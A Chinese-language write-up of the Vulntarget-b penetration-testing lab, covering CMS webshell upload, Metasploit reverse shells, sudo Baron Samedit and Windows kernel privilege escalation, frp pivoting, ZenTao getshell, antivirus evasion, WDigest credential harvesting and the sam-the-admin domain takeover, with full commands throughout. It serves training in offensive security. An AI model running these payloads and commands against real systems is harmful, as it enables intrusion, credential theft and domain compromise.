本文最后更新于:2023年10月10日 下午
Vulntarget靶场渗透之Vulntarget-b
Writeup
vulntarget漏洞靶场系列(二)— vulntarget-b
centos7:root/root、vulntarget/root mysql:admin/EcfMrPrtTJGL2GjL
域控win2016:administrator/Admin@123
域成员win10:win101/admin#123
修改ens33dhcp获取IP,修改BOOTPROTO=DHCP,删除IPADDR,NETMASK
1 2
| vi /etc/sysconfig/network-scripts/ifcfg-ens33 systemctl restart network
|

信息收集
端口扫描
1
| nmap -sT -T4 -p 1-65535 192.168.56.129
|

1
| nmap -sC -T4 -p 21,22,80,81,888,3306,8888 192.168.56.129
|

8888端口明显是宝塔后台框架

访问81端口,发现极致cms建站系统

目录扫描
1
| dirsearch -u http://192.168.56.129: -w /usr/share/wordlists/fuzzDicts/directoryDicts/Filenames_or_Directories_All.txt
|
在readme.txt中发现历史版本信息,推测本版本信息为极致CMSBetal.8.1

访问admin.php
简单爆破一下弱密码
admin/admin123登陆到后台
后台getshell
极致历史漏洞中,有一个后台getshell
安装在线模板插件

选择配置

随便输入密码
再次点击配置输入密码,会进入后台文件编辑

写入一句话木马,蚁剑连接即可

同时也发现了数据库用户密码

禁用函数绕过
蚁剑连接之后,想执行命令,发现直接ret=127,不能执行命令,
这里猜想
应该是对用户访问目录权限进行了限制和php,disable_functions禁用了一些函数,写入php测试语句查看禁用了哪些函数

宝塔禁用函数,直接使用蚁剑插件就可以bypass


内网渗透
生成反向马
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f elf>reverse_6666.elf
|
msf监听
1 2 3 4 5
| use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 6666 set lhost 192.168.56.105 options
|

查看网卡信息,发现域内IP

代理转发
设置路由转发
1 2 3 4
| msf6>route msf6>use post/multi/manage/autoroute msf6>sessions 1 meterpreter>run post/multi/manage/autoroute
|

设置sock5代理
1 2
| msf6>use auxiliary/server/socks_proxy msf6>exploit
|

centos提权
升级为交互式shell
1
| /usr/bin/script -qc /bin/bash /dev/null
|

上传漏洞检测脚本
1 2 3
| wget http://192.168.56.105:8000/linux-exploit-suggester.sh chmod 777 ./linux-exploit-suggester.sh ./linux-exploit-suggester.sh
|

使用[CVE-2021-3156] sudo Baron Samedit
漏洞
1 2
| msf>use exploit/linux/local/sudo_baron_samedit msf>set session 1
|
查看sudo和libc环境

设置目标环境,选择target12获得交互式终端
1 2 3
| msf>show targets msf>set target 12 msf>run
|

用户msf创建成功但并未成功返回session,但可以直接远程登录msf
用户vgkbqftgycwpjcs
且权限为root。


重新运行reverse_6666_x64.elf,反弹session,注意首先需要将msf路由断开,或退出原终端,才能成功连接。

内网探测
使用auxiliary/scanner/portscan/tcp
模块扫描内网
1 2 3 4
| use auxiliary/scanner/portscan/tcp set rhost 10.0.20.0/24 set ports 21,22,80,135,139,445,8080 set threads 30
|

发现10.0.20.66主机,开放8080端口,访问,是禅道oa

禅道CMS,检查版本

demo账号登陆可以看到禅道版本信息

frp代理
msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点
服务器端:
在kali运行服务端frps,frps.ini配置文件为
1 2 3
| [common] bind_ip = 192.168.56.105 bind_port = 7000
|
前台启动:./frps -c ./frps.ini
后台启动:nohup ./frps -c ./frps.ini &

客户端:
在受害机运行客户端frc,frps.ini配置文件为
1 2 3 4 5 6 7 8
| [common] server_addr = 192.168.56.105 server_port = 7000
[socks_proxy] type = tcp remote_port =8888 plugin = socks5
|
前台启动:./frpc -c ./frpc.ini
后台启动:nohup ./frpc -c ./frpc.ini &

文件上传getshell
代理frp流量访问8080端口,admin/Admin123
进入后台
禅道12.4.2后台管理员权限Getshell
将木马写入第一层centos中,开启http服务
1
| python -m SimpleHTTPServer
|
首先把ftp文件路径进行base64编码,注意HTTP要大写,小写会导致下载失败,估计后端识别仅做了大写识别。
1 2
| HTTP://10.0.20.30:8000/shell.php SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==
|
访问
1
| http://10.0.20.66:8080/index.php/client-download-1-SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==-1.html
|
发现因为是IIS部署的直接解析文件,发现该html文件不存在
1
| http://10.0.20.66:8080/data/client/1/shell.php
|

更换payload
1
| http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODAwMC9zaGVsbC5waHAjCg==
|

如果出现访问路径问题,可在http路径上添加#,重复以上操作,原因未知。

如果显示下载成功,但shell.php无内容的话,这是因为后端获取文件时,会先扫描目录是否有同名文件,如果存在直接显示下载成功,会从url中获取文件名shell.php并创建空白文件,访问连接后,获取内容再写入文件。但是,如果连接获取失败,空白文件shell.php不会被删除,在下次上传文件时,会直接显示下载成功,不会访问url。

蚁剑连接即可
1
| http://10.0.20.66:8080/data/client/1/shell.php
|

主机信息收集
检测杀毒软件

将结果放到网站进行杀软查杀
1
| http://payloads.net/kill_software/
|

存在火绒,准备火绒免杀。
火绒免杀
下载gsl加载器
1
| https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
|
生成shell
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=6666 -f hex -o shell.hex
|
msf监听
1 2 3 4 5
| use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.0.20.30 set lport 6666 run
|
木马执行
此处gsl64.exe被火绒查杀,暂未解决
1
| gsl64.exe -f shell.hex -hex
|
域主机提权
1
| run post/multi/recon/local_exploit_suggester
|
建议多跑几次o((>ω< ))o,一次可能不准确

使用cve_2021_1732_win32k来提权,建议多试几次
1 2 3 4 5
| use exploit/windows/local/cve_2021_1732_win32k set session set set run
|

进程迁移
1
| run post/windows/manage/migrate
|

关闭杀毒软件
关闭休眠和防火墙
1 2 3 4
| shell chcp 65001 powercfg -h off netsh firewall set opmode mode=disable
|

域信息收集


获得域名vulntarget.com和域内网段10.0.10.99/24
查找域控
msf查找域控命令run post/windows/gather/enum_domain
导致会话断开,所以手动查找域控

1
| nslookup WIN-UH20PRD3EAO.vulntarget.com
|

收集域成员信息
这里需要域成员登录过,否则拿不到域成员账号

发现没有密码只有hash,这一直接爆破md5,也可以修改注册表,强制用户重新登陆。

开启Wdigest Auth服务
1
| reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
|
强制锁屏
1
| rundll32 user32.dll,LockWorkStation
|
等待登录,重新抓取,得到密码

关闭Wdigest Auth服务
1
| reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
|
CVE-2021-42287渗透
1 2 3
| git clone https://github.com/WazeHell/sam-the-admin.git cd sam-the-admin python3 -m pip install -r requirements.txt
|
域内提权
1
| proxychains python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell
|

system权限到手。